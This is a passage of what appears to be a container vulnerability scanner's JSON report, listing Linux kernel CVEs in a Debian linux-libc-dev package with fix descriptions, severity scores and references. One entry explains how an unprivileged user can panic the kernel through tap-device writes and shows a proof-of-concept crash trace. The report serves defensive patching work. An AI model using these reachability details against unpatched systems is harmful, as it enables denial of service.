"sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80521", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f151eeeae6eb801733a6a520cf69c7e996d5beb6c02ec3e52221be192b028bcb", "Title": "kernel: af_unix: Unlink scc_entry in unix_del_edge()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_unix: Unlink scc_entry in unix_del_edge().\n\nKyle Zeng reported that GC could free a dead SCC partially.\n\nThe scenario is as follows:\n\n 1) Create two SCCs:\n\n X -. A \u003c-\u003e B\n ^--'\n\n 2) Run the following concurrently:\n\n 2-1) send() sk-B to sk-B from sk-X\n 2-2) close() both A and B\n\nAt 2-1), there is a small window where unix_add_edges()\npublishes a new edge (B \u003c-\u003e B) to GC but its skb is not queued\nby skb_queue_tail().\n\nIf 2-2) completes before skb_queue_tail() and GC is triggered,\nit judges A \u003c-\u003e B as dead, but B is not freed because GC cannot\ncollect the not-yet-queued skb holding the B \u003c-\u003e B edge.\n\n X -. A \u003c-\u003e B -. This edge is visible\n ^--' ^..' but skb is not\n\nThis itself is not a problem since the next GC run will judge\nB as dead as well and free it finally.\n\n X -. A \u003c.\u003e B -.\n ^--' ^--'\n\nHowever, X's SCC forces the next GC to call unix_walk_scc_fast(),\nand it iterates over A through B's scc_entry.\n\nLet's unlink scc_entry before freeing the vertex in unix_del_edge().", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80521", "https://access.redhat.com/errata/RHSA-2026:81406", "https://access.redhat.com/security/cve/CVE-2026-80521", "https://bugzilla.redhat.com/2468043", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2502872", "https://bugzilla.redhat.com/2507035", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2516657", "https://bugzilla.redhat.com/2524478", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2468043", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2507035", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2516657", "https://bugzilla.redhat.com/show_bug.cgi?id=2524478", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43332", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72289", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80521", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/10/ALSA-2026-81406.html", "https://errata.rockylinux.org/RLSA-2026:81406", "https://git.kernel.org/stable/c/1293fd69a50d188a5788b08ba3741a3e86be1608", "https://git.kernel.org/stable/c/2b6c2842692d08e7acaf32d1eb47f95def35f3fe", "https://git.kernel.org/stable/c/594d905195024b228c962627ae5ae7c17bd582a4", "https://git.kernel.org/stable/c/6fda5c51b8e43a8440f76e65c89d9f95ddb2ef33", "https://git.kernel.org/stable/c/e3702470ced94fad74d71e2232f022d2eb752a6d", "https://git.kernel.org/stable/c/fe198b077864feafd4aa4b33b1a5ce26f50195a2", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.4.0/BRSA-6hwsn2qrbtk5.toml", "https://linux.oracle.com/cve/CVE-2026-80521.html", "https://linux.oracle.com/errata/ELSA-2026-81406.html", "https://lore.kernel.org/linux-cve-announce/2026082601-CVE-2026-80521-2b35@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80521", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80521" ], "PublishedDate": "2026-08-26T15:17:05.677Z", "LastModifiedDate": "2026-10-03T11:17:39.437Z" }, { "VulnerabilityID": "CVE-2026-80522", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80522", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:254c1bb8f9234ec429776a29ff5d22776933a6f24a281eee0d36f913b8e3cbd2", "Title": "kernel: crypto: tegra - fix rctx-\u003ecryptlen calculation in tegra_gcm_do_one_req()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: tegra - fix rctx-\u003ecryptlen calculation in tegra_gcm_do_one_req()\n\nPerform rctx-\u003ecryptlen calculation in tegra_gcm_do_one_req() the same way\nit is done in tegra_ccm_crypt_init(). The current formulae may lead to a\ncrash if a caller does not call tegra_gcm_setauthsize() and so ctx-\u003eauthsize\nremains zero. Then a decrypt operation with incorrect rctx-\u003ecryptlen will\nlead to a write beyound rctx-\u003edst_sg buffer.\n\nAs a follow-up cleanup delete struct tegra_aead_ctx-\u003eauthsize field since\nit appears to be completely unused. Also simplify tegra_ccm_setauthsize()\nand tegra_gcm_setauthsize() functions respectively.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:72623", "https://access.redhat.com/security/cve/CVE-2026-80522", "https://bugzilla.redhat.com/2482104", "https://bugzilla.redhat.com/2487002", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2495938", "https://bugzilla.redhat.com/2502318", "https://bugzilla.redhat.com/2502494", "https://bugzilla.redhat.com/2508319", "https://bugzilla.redhat.com/2524423", "https://bugzilla.redhat.com/2524434", "https://bugzilla.redhat.com/show_bug.cgi?id=2482104", "https://bugzilla.redhat.com/show_bug.cgi?id=2487002", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2495938", "https://bugzilla.redhat.com/show_bug.cgi?id=2502318", "https://bugzilla.redhat.com/show_bug.cgi?id=2502494", "https://bugzilla.redhat.com/show_bug.cgi?id=2508319", "https://bugzilla.redhat.com/show_bug.cgi?id=2524423", "https://bugzilla.redhat.com/show_bug.cgi?id=2524434", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45942", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46325", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53341", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63875", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64556", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74753", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80522", "https://errata.almalinux.org/9/ALSA-2026-72623.html", "https://errata.rockylinux.org/RLSA-2026:72623", "https://git.kernel.org/stable/c/360f2974fcea49c61f6d6f81554741a9eeee7168", "https://git.kernel.org/stable/c/99a18e1d979e0fad3aaf9c65ae6696897c1d9869", "https://git.kernel.org/stable/c/c6237834d9994de209cb90c7a2c461247bce8e90", "https://git.kernel.org/stable/c/cd6991001bf0681ed0bcf21f9cc3d261d749b2bb", "https://linux.oracle.com/cve/CVE-2026-80522.html", "https://linux.oracle.com/errata/ELSA-2026-72624.html", "https://lore.kernel.org/linux-cve-announce/2026082601-CVE-2026-80522-a340@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80522", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80522" ], "PublishedDate": "2026-08-26T15:17:05.8Z", "LastModifiedDate": "2026-10-16T20:17:57.323Z" }, { "VulnerabilityID": "CVE-2026-80530", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80530", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:aa70e9159276dbb321625268ec19b132dd485012f6eb1744a95bd34d364bd4f0", "Title": "kernel: xfs: fix exchange-range reflink flag clearing issue with INO1_WRITTEN", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: fix exchange-range reflink flag clearing issue with INO1_WRITTEN\n\nWhen exchanging two full-file ranges, xmi_can_exchange_reflink_flags()\ncan move the reflink inode flag from the file that currently has it to\nthe other file, as long as exactly one side is marked. This assumes\nthat the file contents, and therefore all shared extents, are exchanged.\n\nThat assumption is not true when XFS_EXCHMAPS_INO1_WRITTEN is set.\nxfs_exchmaps_can_skip_mapping() can skip hole and unwritten mappings\nfrom file1, so an exchange can complete without moving every mapping\nthat the earlier flag-swap decision accounted for. In that case the\npost-operation cleanup can clear the reflink flag from an inode that\nstill owns shared written extents. Later writes then take the\nnon-reflink write path and may update blocks that should still have\nbeen protected by CoW, which shows up as data corruption between\nreflink-related files.\n\nFix this by disabling the reflink flag exchange whenever\nXFS_EXCHMAPS_INO1_WRITTEN is requested. The contents exchange can still\nproceed; the conservative outcome is that both inodes keep the reflink\nflag. The regular reflink flag cleanup path can drop the extra flag\nlater once the inode no longer has shared extents.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/03/1", "https://access.redhat.com/errata/RHSA-2026:87805", "https://access.redhat.com/security/cve/CVE-2026-80530", "https://bugzilla.redhat.com/2360273", "https://bugzilla.redhat.com/2376106", "https://bugzilla.redhat.com/2507038", "https://bugzilla.redhat.com/2513245", "https://bugzilla.redhat.com/2513356", "https://bugzilla.redhat.com/2514462", "https://bugzilla.redhat.com/2524492", "https://bugzilla.redhat.com/2524501", "https://bugzilla.redhat.com/show_bug.cgi?id=2360273", "https://bugzilla.redhat.com/show_bug.cgi?id=2376106", "https://bugzilla.redhat.com/show_bug.cgi?id=2507038", "https://bugzilla.redhat.com/show_bug.cgi?id=2513245", "https://bugzilla.redhat.com/show_bug.cgi?id=2513356", "https://bugzilla.redhat.com/show_bug.cgi?id=2514462", "https://bugzilla.redhat.com/show_bug.cgi?id=2524492", "https://bugzilla.redhat.com/show_bug.cgi?id=2524501", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22063", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68202", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68299", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68448", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80536", "https://errata.almalinux.org/9/ALSA-2026-87805.html", "https://errata.rockylinux.org/RLSA-2026:87805", "https://git.kernel.org/stable/c/03c9c9116e6da641424681f705698d7f5e2128e0", "https://git.kernel.org/stable/c/0f27b22343b63e10773e6781344640c2c753eec3", "https://git.kernel.org/stable/c/2efbd8890b53f4756fdc7b0ef346fa514ffb7d66", "https://git.kernel.org/stable/c/b2d5a81dae385333f9734910277fbf94c78bd17f", "https://linux.oracle.com/cve/CVE-2026-80530.html", "https://linux.oracle.com/errata/ELSA-2026-87805.html", "https://lore.kernel.org/linux-cve-announce/2026082603-CVE-2026-80530-4a96@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80530", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80530" ], "PublishedDate": "2026-08-26T15:17:06.99Z", "LastModifiedDate": "2026-10-16T20:17:57.88Z" }, { "VulnerabilityID": "CVE-2026-80586", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80586", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:75b3a0ffc7bb09f47349f7bbcc7ce8a2d7b3af4f296d11ae59e8008b2ddb7a8e", "Title": "kernel: mptcp: options: reset DSS fields in case of unexpected size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmptcp: options: reset DSS fields in case of unexpected size\n\nA remote peer could send a malformed DSS with a wrong size, followed by\nanother DSS or MPC + Data. In this case, the first suboption will be\nignored, but leaving some fields written, which could lead to\ninconsistency or access uninitialized data.\n\nExplicitly reset the fields that could have been modified in case of\nunexpected size.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 8.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:89083", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-80586", "https://bugzilla.redhat.com/2492709", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2507296", "https://bugzilla.redhat.com/2513163", "https://bugzilla.redhat.com/2513264", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513343", "https://bugzilla.redhat.com/2524438", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2532515", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-89083.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/stable/c/15e35fdad7a5576bf3f1c8d688877aeb5d1b506b", "https://git.kernel.org/stable/c/192878df582c51d440bf7b91a15f297f29f2b596", "https://git.kernel.org/stable/c/1fade1b2ac5b1a4948e538fae7313bea57b5ac36", "https://git.kernel.org/stable/c/26dac5c9ffb20812b475fdf253eb04fab99cff3b", "https://git.kernel.org/stable/c/27ed642a4e7e4b5df4b8522c72c457a67e052493", "https://git.kernel.org/stable/c/35772b4981f38ba8059372cde8753e8e477e98ec", "https://git.kernel.org/stable/c/4e80eff5c1c893aca2ac1d202f0b256d2e52ecde", "https://git.kernel.org/stable/c/b1256090816ec46011601e084be580731df58fc7", "https://linux.oracle.com/cve/CVE-2026-80586.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://lore.kernel.org/linux-cve-announce/2026082616-CVE-2026-80586-008c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80586", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80586" ], "PublishedDate": "2026-08-26T15:17:14.873Z", "LastModifiedDate": "2026-10-16T20:18:01.74Z" }, { "VulnerabilityID": "CVE-2026-80590", "VendorIDs": [ "DSA-6477-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.107-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80590", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e290de968e6bf5448b10bb50acc156b1b7ab06e094fb0bc496f05ee99a944932", "Title": "kernel: inet: frags: strip GSO state from fragments before reassembly", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ninet: frags: strip GSO state from fragments before reassembly\n\nA virtio_net_hdr (tun/tap, or AF_PACKET with PACKET_VNET_HDR) can mark\nan IPv4 or IPv6 fragment as GSO; nothing relates gso_type to frag_off.\ninet_frag_reasm_prepare()/inet_frag_reasm_finish() keep the first\nfragment's skb as the head of the reassembled datagram, including its\nshinfo-\u003egso_size/gso_type/gso_segs, and chain the remaining fragments\non frag_list with whatever linear/paged layout they arrived with.\n\nAfter ip_defrag() (ip_local_deliver(), nf_defrag_ipv4, ...) the\nreassembled skb therefore still claims to be GSO (SKB_GSO_DODGY), and\nthe next software segmentation point - udp_rcv_segment() on local\ndelivery, validate_xmit_skb(), or the ip_finish_output_gso() slow\npath - hands it to skb_segment(). skb_segment()'s frag_list walk\nassumes GRO-shaped input and hits one of its BUG_ON()s. Two writes to\na tap by an unprivileged user in its own userns are enough:\n\n kernel BUG at net/core/skbuff.c:4899!\n Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI\n CPU: 0 UID: 1000 PID: 82 Comm: poc Not tainted 7.2.0-pentest+ #2\n RIP: 0010:skb_segment+0x20ca/0x48b0\n Call Trace:\n \u003cTASK\u003e\n __udp_gso_segment+0x29a/0x27d0\n udp4_ufo_fragment+0x458/0x6c0\n inet_gso_segment+0x429/0x1340\n skb_mac_gso_segment+0x233/0x4f0\n __skb_gso_segment+0x308/0x660\n udp_queue_rcv_skb+0x440/0xad0\n udp_unicast_rcv_skb+0xc7/0x2c0\n udp_rcv+0x16ce/0x2260\n ip_protocol_deliver_rcu+0x197/0x2d0\n ip_local_deliver+0x430/0x690\n ip_rcv+0x16f/0x1f0\n __netif_receive_skb_one_core+0x15e/0x1c0\n __netif_receive_skb+0x1e/0x110\n netif_receive_skb+0xf6/0x5c0\n tun_rx_batched.isra.0+0x3ab/0x790\n tun_get_user+0x17c3/0x3550\n tun_chr_write_iter+0xba/0x1b0\n vfs_write+0x646/0x1130\n \u003c/TASK\u003e\n Kernel panic - not syncing: Fatal exception in interrupt\n\nThis runs with BH disabled, so it is a panic rather than an oops. The\nsame is reachable with CAP_NET_RAW in a netns where a defrag point\nprecedes a GSO point, and from a guest whose VMM forwards\nvirtio_net_hdr to a tap. The SKB_GSO_DODGY frag_list checks added by\ncommit 3dcbdb134f32 (\"net: gso: Fix skb_segment splat when splitting\ngso_size mangled skb having linear-headed frag_list\") and by\ncommit 9e4b7a99a03a (\"net: gso: fix panic on frag_list with mixed head\nalloc types\") do not cover it: page-backed heads skip them, and kmalloc\nheads skip them when gso_size == skb_headlen(head), which the sender\ncontrols.\n\nAn skb entering a frag queue is an IP fragment by definition and\ncannot legitimately carry GSO state: GRO does not merge fragments and\nthe stack segments before it fragments, so only untrusted sources are\naffected. This has been reachable since\ncommit f43798c27684 (\"tun: Allow GSO using virtio_net_hdr\"), the first\npath that let userspace attach GSO metadata to an IP fragment. Reset\nthe GSO fields of every fragment as it is queued, in\ninet_frag_queue_insert(), which IPv4, IPv6, nf_conntrack_reasm and\n6lowpan reassembly share; then neither the head nor the frag_list\nmembers of the reassembled skb carry them (the members matter too:\nthe ip_do_fragment()/ip6_fragment() fast paths send them out as they\nare). The head may remain CHECKSUM_PARTIAL; that is already accepted\non receive and resolved by skb_checksum_help() in\nip_do_fragment()/ip6_fragment() on forward.\n\nTested on top of net.git (dc4b95b8fee9), x86_64: the tap reproducer\nabove, two further IPv4 frag_list geometries that reach\nBUG_ON(i \u003e= nfrags) and BUG_ON(!list_skb-\u003ehead_frag), and an IPv6\nfragment-header variant (udp6_ufo_fragment()) each panic the unpatched\nkernel; with this patch all four datagrams are delivered intact and\nnothing is logged.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H", "V3Score": 7.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-80590", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/d5dc1e69fd7258ea605c9952e5d5947539159ae3", "https://git.kernel.org/linus/d5dc1e69fd7258ea605c9952e5d5947539159ae3%20%287.3-rc1%29", "https://git.kernel.org/stable/c/14a8f3e10fa9a5abd6cedcdaa0c0b7ea9a09f234", "https://git.kernel.org/stable/c/29dda278a5ed272f2230ff4eaa23cf403107bba0", "https://git.kernel.org/stable/c/3edf721bb4b99d272c336631b44e3d8ff9a4f31b", "https://git.kernel.org/stable/c/69b73b74d9eb45f5560a8fe4fa406ada580e1340", "https://git.kernel.org/stable/c/c49f04e8d2b94dbb8d9fd99731dd3f00589c8ace", "https://git.kernel.org/stable/c/cfdbc8c2e6f9ef5d8b8e54859da03dfe682b0bee", "https://git.kernel.org/stable/c/d5dc1e69fd7258ea605c9952e5d5947539159ae3", "https://git.kernel.org/stable/c/da857e448322a2e871ce3ecc2900027041160d43", "https://git.kernel.org/stable/c/dec2edb7aaf12a8878b3a03172ea8fc277b8eaad", 